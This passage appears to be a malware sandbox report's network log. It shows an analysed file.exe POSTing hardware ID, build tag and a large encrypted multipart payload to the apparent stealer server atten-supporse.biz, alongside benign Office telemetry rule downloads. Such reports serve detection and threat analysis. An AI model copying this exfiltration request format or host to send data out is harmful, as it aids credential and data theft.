6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49757	172.67.165.166	443	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:43 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B2GPO5V7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550250 Host: atten-supporse.biz
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: 2d 2d 42 32 47 50 4f 35 56 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 36 43 42 44 44 36 36 36 44 41 43 41 37 30 34 41 36 42 30 31 35 45 39 35 34 35 36 36 31 30 0d 0a 2d 2d 42 32 47 50 4f 35 56 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 32 47 50 4f 35 56 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 32 47 50 4f 35 56 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --B2GPO5V7Content-Disposition: form-data; name="hwid"876CBDD666DACA704A6B015E95456610--B2GPO5V7Content-Disposition: form-data; name="pid"1--B2GPO5V7Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--B2GPO5V7Content-Di
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: 67 0f d5 00 19 80 03 93 bd 48 f6 86 df 50 f0 ae 84 d5 1b 7a 79 08 4a 7d 54 f8 13 f5 27 5b 0d c1 6d a6 1b 39 82 f3 ef 12 35 31 71 88 ad f7 42 c9 a7 99 28 92 6b 97 e2 11 c6 43 5a dd 18 b2 3e 9d 11 46 46 87 4f 96 8d 61 56 cd 1a 14 a9 c4 e1 a1 ba 81 a4 31 66 42 5b 02 c7 33 ed ca 82 83 29 9d 9f a3 83 4c 14 a6 e8 a2 f8 a1 ef e8 68 d1 7b 46 db 17 51 30 0d 1a 5b dc 2e 4a dd 41 4d ab 0f 39 2a 40 78 07 12 03 f7 f0 a0 6d f4 f4 bf c6 14 5d 9c 0f 1f 95 06 5d f3 da c0 4e 5b cf 19 d1 30 89 12 29 5e 0a 00 91 fd b4 3f 7c 37 49 c7 a2 28 25 d5 c4 48 15 7b c6 3c 4b 84 3a bd aa c4 e4 45 eb 90 3b e8 60 1c e2 09 44 31 a5 17 1a 25 5f 2e a0 65 7f 4c a2 e1 bf 4e a8 72 da 54 b3 78 7c 2d e6 63 b0 76 69 93 0f 53 bf 45 f1 fd 19 07 5d b0 20 dd 9d c1 88 b9 fc 0f ff a3 32 7c a2 b0 46 bc Data Ascii: gHPzyJ}T'[m951qB(kCZ>FFOaV1fB[3)Lh{FQ0[.JAM9*@xm]]N[0)^?\|7I(%H{<K:E;`D1%_.eLNrTx\|-cviSE] 2\|F
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: 0b eb 88 2e 22 cc 9e 1f f7 af 2f bd 95 5a 56 b4 66 90 7b 8f 2f e2 dc c1 60 bb 73 4a 90 90 80 cc 70 27 35 32 f4 c2 97 b9 42 44 74 06 1a 05 81 b2 33 7b f3 34 70 04 21 92 1b 46 4a d8 59 82 aa 07 e7 d9 00 a9 70 f8 ed b2 5b 8e af 80 51 56 ef 19 05 0d 85 8b e7 86 ce bc f1 5a de be 72 6a b8 f4 c1 4c d9 0d 33 fd 81 bc 97 9c b0 9d 96 b9 3b 08 dd fb d9 6f 90 73 7f af 6f 3d fe 1c c6 e4 ee 49 d4 e8 27 6f 2e ac 9c c3 01 86 cb 6b 6e 2d a3 b9 75 7a 28 b0 dc 68 b6 14 d5 44 25 0d 33 10 cc 83 3d fe bc 3a 74 e8 97 ab 51 9a 7d 5f 40 a8 e3 40 8b d8 f3 d1 b6 ba e8 ef 42 c9 33 55 fa 09 7c 6f b4 2c 33 aa ff 45 87 5f d5 74 74 df f8 2e 1d ba 5e ae 8b 75 55 28 8e e4 73 64 56 46 bf 5f b3 72 e6 be 3a ab 31 86 7b ef 5e 13 71 27 7f 3c 5c b9 6d 08 83 7a 0e 96 c0 24 ad ce c0 d4 cf 53 58 Data Ascii: ."/ZVf{/`sJp'52BDt3{4p!FJYp[QVZrjL3;oso=I'o.kn-uz(hD%3=:tQ}_@@B3U\|o,3E_tt.^uU(sdVF_r:1{^q'<\mz$SX
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: d3 01 e9 70 a4 b9 1f cb a6 31 23 0d 83 cb 94 1b 8f b6 ef cb 99 33 ca 1d b2 ee bd 6a 18 c3 79 b9 57 dc f4 28 76 a4 b1 24 74 6a b3 80 48 4c 24 9a 1b d2 c9 b6 7d 19 b9 f4 6b 73 06 b9 cb 12 65 cd bb 1f 76 c5 22 5e 9b eb d7 62 c3 ce 3b ea 01 12 66 57 e2 d3 4c 82 95 67 14 46 9d 67 3a e7 64 6e e0 52 9f b6 40 57 76 a9 1a 52 93 f8 5c bf e9 b7 ff e8 bc 31 97 a6 83 3b 26 ab d7 0e f4 54 aa e2 6b ab 7d 68 e0 5e d2 c9 e2 d5 60 c3 5d 45 29 52 ed 9a 57 cd a1 3e 88 50 23 61 86 4b 43 30 9e 37 86 7b b3 b8 b3 19 83 39 df 3e 71 b3 09 db d8 98 87 a2 63 5a bf e7 2d f7 84 95 5e f4 de f6 49 53 16 ff f8 a1 6a f3 a6 af f8 58 da 43 48 bf 74 db f3 74 fa 53 23 3d b8 e2 12 f2 e9 9e ef 8a 38 e6 ea 49 d8 4d f7 5c e8 7f e1 68 d1 b7 c9 f6 ac f3 2d 1d d0 1a cf cb 11 af 3b 08 0c a1 90 70 db Data Ascii: p1#3jyW(v$tjHL$}ksev"^b;fWLgFg:dnR@WvR\1;&Tk}h^`]E)RW>P#aKC07{9>qcZ-^ISjXCHttS#=8IM\h-;p
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: 67 bb bf 9e 3e f9 4a 1c a4 7c 1a e8 57 a1 94 6f ec a1 eb 3f 0a 74 f7 6c 59 36 28 1c f8 30 d4 a3 23 7b 66 20 b0 3f e4 f6 61 1e 0c f7 e6 51 c9 99 b5 84 04 8e 44 6a be fc ae 5d 5c 60 8f 12 86 a1 b0 32 7d 90 ad aa 46 75 78 31 5f a5 fb 8c 27 29 f5 eb e3 ad 8c 7d 4e f8 fc 84 fc f8 af b2 84 05 c9 f9 92 da fe 5d fc bf e4 63 02 e9 86 ac d8 fa ad 39 1f e2 c3 85 c4 78 a3 1a 23 0f 74 47 57 5e ca bc 8b 0c 92 c0 9e fb 92 56 63 a0 2b 95 d8 6c 60 3b 53 fd 2c 34 19 8d c4 35 0f fb 37 16 99 60 d2 f3 37 c2 cd e4 42 e5 d6 b8 b9 26 d7 0b be ca 05 dd 3a fb 3c c2 43 af eb c3 6b 38 81 ae dc fe ce 6d a4 02 e3 4e 58 5b 3f 95 df 70 29 f8 4e 48 fa dc f5 36 95 57 37 0d ec 04 e5 de 7c 4f 68 3e 9e 8c f6 2c a4 a8 8e 1e 8e 50 cd 4a 88 ab 10 1d 83 56 04 d7 d4 e6 be bb aa 5e 63 5f 57 c3 bf Data Ascii: g>J\|Wo?tlY6(0#{f ?aQDj]\`2}Fux1_')}N]c9x#tGW^Vc+l`;S,457`7B&:<Ck8mNX[?p)NH6W7\|Oh>,PJV^c_W
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: b3 7c e0 60 e3 f4 9f 94 23 44 24 5b 23 b0 24 1d fd 7b fe 33 81 45 80 b9 cb ce 41 ff 42 7a 42 62 5e 0e 23 9c da 52 ba e5 53 81 17 ba 98 b2 2a 76 1f 53 96 b6 fc ac a1 94 24 27 43 9b e2 3a bf 3f bd 14 12 9c e6 33 34 90 e2 f0 85 1a 69 a2 55 b9 fc 45 67 14 85 f7 ac b7 05 f2 40 43 42 a3 3a 76 3b 53 7e 3c 51 a5 15 e7 31 70 b9 d5 3a c2 e7 32 2b 9f 4d dc 7c 87 75 21 0f db 85 de 35 81 d2 83 8b 72 0d 6d 51 46 3b ea 22 ea 1a 84 c2 68 90 83 aa 74 1b 96 04 8e 72 8c fc 53 e5 6a f5 0b 21 0b 7c fa b9 ec e8 63 a5 db 60 89 b1 3e 22 9b 2b 7f 20 9b 94 68 4e d6 e0 5d b6 37 fa 5a 7f 8f a9 5d 3c 3e 52 aa c8 f2 6e ae 10 1f ad 96 70 1d 92 bb 0a a5 37 73 b7 bb 18 e9 c5 7c b4 47 51 fa 5c 24 69 d0 c4 d9 68 39 26 98 18 cb 54 c2 30 54 7d 67 a0 b1 0c ac f8 b4 0d af 51 f1 53 45 8e 99 42 Data Ascii: \|`#D$[#${3EABzBb^#RS*vS$'C:?34iUEg@CB:v;S~<Q1p:2+M\|u!5rmQF;"htrSj!\|c`>"+ hN]7Z]<>Rnp7s\|GQ\$ih9&T0T}gQSEB
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: a9 b7 ae dc 0f 48 ae 4b c5 8f a3 14 2f d0 f7 5d c7 74 e3 5e 8c 7f f8 2b 68 e3 02 60 be 5d 88 28 df 1a df c8 13 f1 a1 9d 99 d6 0f f4 ec ce 30 de 19 ee dd b4 fa 2d 1f f3 a7 e0 08 66 e9 51 ae ff d8 95 0c 73 31 d7 9d ef a7 8b 35 c5 dd 1e 63 07 e2 20 e4 50 88 d4 dc 3f b7 4f 4a bd f4 25 60 90 23 37 ec f5 20 47 dd f9 56 42 ed c9 f4 54 11 33 41 56 e1 c8 c4 84 80 9a 5e 6b 12 ca fe 0e d7 fa c4 a1 8a ff 33 21 72 ab 33 de 15 31 ba 0b 7a 2a 77 7b 08 af c4 b1 69 97 7e e3 0a a6 da 5f 74 68 da 7c 6b 37 bd 0f 51 c2 b2 8b 5c 41 b3 95 bf 64 d3 48 36 e8 88 26 a0 61 14 f9 9c 22 50 ff 2f 08 63 fd eb 48 8c cf 2f 69 7f 97 c1 76 c3 05 fe 10 a9 fd 04 ab a7 b1 b2 c8 32 2f 00 4b 00 fc af f9 ce 66 cd 09 30 1d 41 08 42 b4 dd 9f 22 29 02 21 1d 01 47 a0 17 b7 70 b1 38 0d 41 88 36 0b 9a Data Ascii: HK/]t^+h`](0-fQs15c P?OJ%`#7 GVBT3AV^k3!r31z*w{i~_th\|k7Q\AdH6&a"P/cH/iv2/Kf0AB")!Gp8A6
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: 71 99 37 27 b4 7a a5 bc ed 36 a7 86 0a 17 c5 44 e7 4d de 7f 4f 8a 98 75 d1 65 9d 26 73 42 b9 e4 92 08 66 61 f1 ad c9 09 fe 10 cc e8 e3 35 3d e4 cf a0 8f ed da a7 22 3a eb 75 f3 46 a9 49 5e df 62 ca fa e3 e7 b1 6b 76 da 6c 2c f3 83 7c c3 b1 98 77 ae 96 b3 ba e6 a6 68 f2 73 4e c6 bb 6d 51 e3 8d 6c aa d8 1a 1c 00 07 f1 b2 03 e2 87 be 15 dc 94 50 dc 08 c7 20 19 31 e5 a9 34 b7 b9 34 47 84 d3 e5 9d 69 fb 09 6d a2 1f 02 50 9d e5 5a 96 5a 06 1c 55 03 c4 1f 44 83 2c c1 84 66 62 6e ac b1 86 6d 23 88 02 e5 20 f0 6a c2 f5 31 bf 67 a2 e1 8d bb 04 1f fe 9e 4a d8 28 cb 4b d8 3a 6e c7 d8 bc 9c 29 eb 11 c9 4e 9a c8 a6 79 d5 47 aa b1 13 f6 d3 50 28 ed 6f 54 38 ea 0d 69 77 63 98 fe 52 f2 37 aa 3a bb a3 b9 a8 f0 e5 63 ca 81 b2 fc 1d 12 5d c6 c7 62 ba 95 ad f4 78 c6 83 20 bf Data Ascii: q7'z6DMOue&sBfa5=":uFI^bkvl,\|whsNmQlP 144GimPZZUD,fbnm# j1gJ(K:n)NyGP(oT8iwcR7:c]bx
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: 78 50 c8 29 1d dd 21 78 c0 8d 12 7e f3 91 c7 07 a7 d8 85 6d 78 11 85 30 47 7e 96 99 43 7d 69 f0 d4 2d d4 86 aa d1 b6 bf d0 06 24 72 23 c9 23 0c 0d 62 55 78 22 3a 43 cc ea da 69 ab 4a f5 cb 97 a2 94 54 aa 49 2b d0 2f b3 f4 99 dc 7b ae 33 22 5d c1 c4 b8 88 d8 b8 d8 3b 87 d5 e4 9d 62 c5 66 25 97 10 82 53 96 c5 f1 1e 83 01 19 d9 b8 1d cc 4e 9d f4 7a 9d 88 b3 97 a8 fd 88 82 f6 7e 9c b7 07 df f4 cf 37 2b f4 1d cb 5a c9 d6 66 86 82 b6 93 d8 69 97 d7 b8 9d 55 6c ec b2 c4 df 77 cb 16 6b 6f 0f 89 b7 7a c4 25 b0 76 8f 2a 16 0a 0e 87 b8 f3 3e 9b 15 f0 17 cb c1 0f 6e 63 fa 8b 22 78 62 85 86 7f f9 ce cd 51 a2 ee 27 65 5a fe 43 4a 0a d1 e6 79 dd 1d c9 4e b3 e6 4b 62 3e a2 b7 ea 3e d5 62 d7 d5 97 79 92 98 e5 be 18 df 06 78 ec 97 c2 2b 83 33 73 f2 53 8a ef 66 b7 4b c5 e4 Data Ascii: xP)!x~mx0G~C}i-$r##bUx":CiJTI+/{3"];bf%SNz~7+ZfiUlwkoz%v*>nc"xbQ'eZCJyNKb>>byx+3sSfK
2024-12-01 02:32:43 UTC	15331	OUT	Data Raw: b0 ee fb c1 05 cd c4 d3 a3 25 59 8b 5a 8c c7 58 c4 1f f1 41 a7 86 5b d4 e5 be 23 17 9a ed 2f ef a7 a7 82 3a 45 2f 08 1e 7a 94 d0 2a 09 f4 2e 9c e2 03 8f e4 c3 0d f9 c1 ac c3 df ef a3 77 d0 bc f5 a8 27 0b 3c 21 d7 72 5a 7b 9b 6c c1 13 fe bc e2 a2 6d b8 d6 52 4c 08 12 f0 43 f9 3c 77 13 eb ef 7c 95 fd 7d 25 57 98 e6 36 04 08 41 98 f3 90 05 1a 3e c7 ae e7 90 2d 2d 23 74 ab b8 78 1a 4f 0f 8f 6e 94 e0 6c 1d 63 24 19 07 a6 f3 69 36 2a b4 ca 3c 4d 33 fc ea a8 48 ac 79 41 5f 7d e5 f6 ed e1 07 3e b6 5b 18 0b 02 fe 0d ec 5f 2c 57 75 fe 8f 01 94 dd 26 f0 e2 a9 cd cb 00 ee 14 68 d8 60 62 c8 db f0 6e 69 48 ab f8 ec 91 e7 31 a2 75 c6 78 25 1a f1 c4 27 dd db 8c 22 70 4b d1 5a 31 d8 cb 16 50 e2 47 14 61 a5 43 c1 0d 0a d0 86 18 56 1c 5c 57 4f cd b6 a6 64 07 31 ec fe f5 08 Data Ascii: %YZXA[#/:E/z.w'<!rZ{lmRLC<w\|}%W6A>--#txOnlc$i6<M3HyA_}>[_,Wu&h`bniH1ux%'"pKZ1PGaCV\WOd1
2024-12-01 02:32:49 UTC	1029	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7gn5d5d4rv5tl273su2tsfal6e; expires=Wed, 26-Mar-2025 20:19:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Anm72%2FnZEYh3o0f6LFgfuek2fs3DVBKJABBUWjRJUgkx5A%2FZozKtbd6hpwxJNrIXLhhkmKQOarGeIs5m4ivmvu4HmQKY%2B%2BRSZbpPRsIn%2FJL5IgqH%2BOwd0Y48mXMCnJwJLzdw9jA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eafab1b299b1881-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1441&min_rtt=1427&rtt_var=564&sent=290&recv=571&lost=0&retrans=0&sent_bytes=2845&recv_bytes=552723&delivery_rate=1891191&cwnd=238&unsent_bytes=0&cid=eb14c4c54266383e&ts=5667&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:44 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:44 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023244Z-174f7845968xr5c2hC1EWRd0hn0000000m1g00000000kf6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:44 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023245Z-174f7845968px8v7hC1EWR08ng00000012n00000000042y7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:45 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023245Z-174f7845968kvnqxhC1EWRmf3g0000000nzg00000000m5t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:45 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:44 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:45 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023245Z-174f7845968kdththC1EWRzvxn0000000eh000000000mnew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:45 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:46 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 098db11f-001e-0034-0901-42dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023246Z-174f7845968swgbqhC1EWRmnb400000012k0000000001knw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

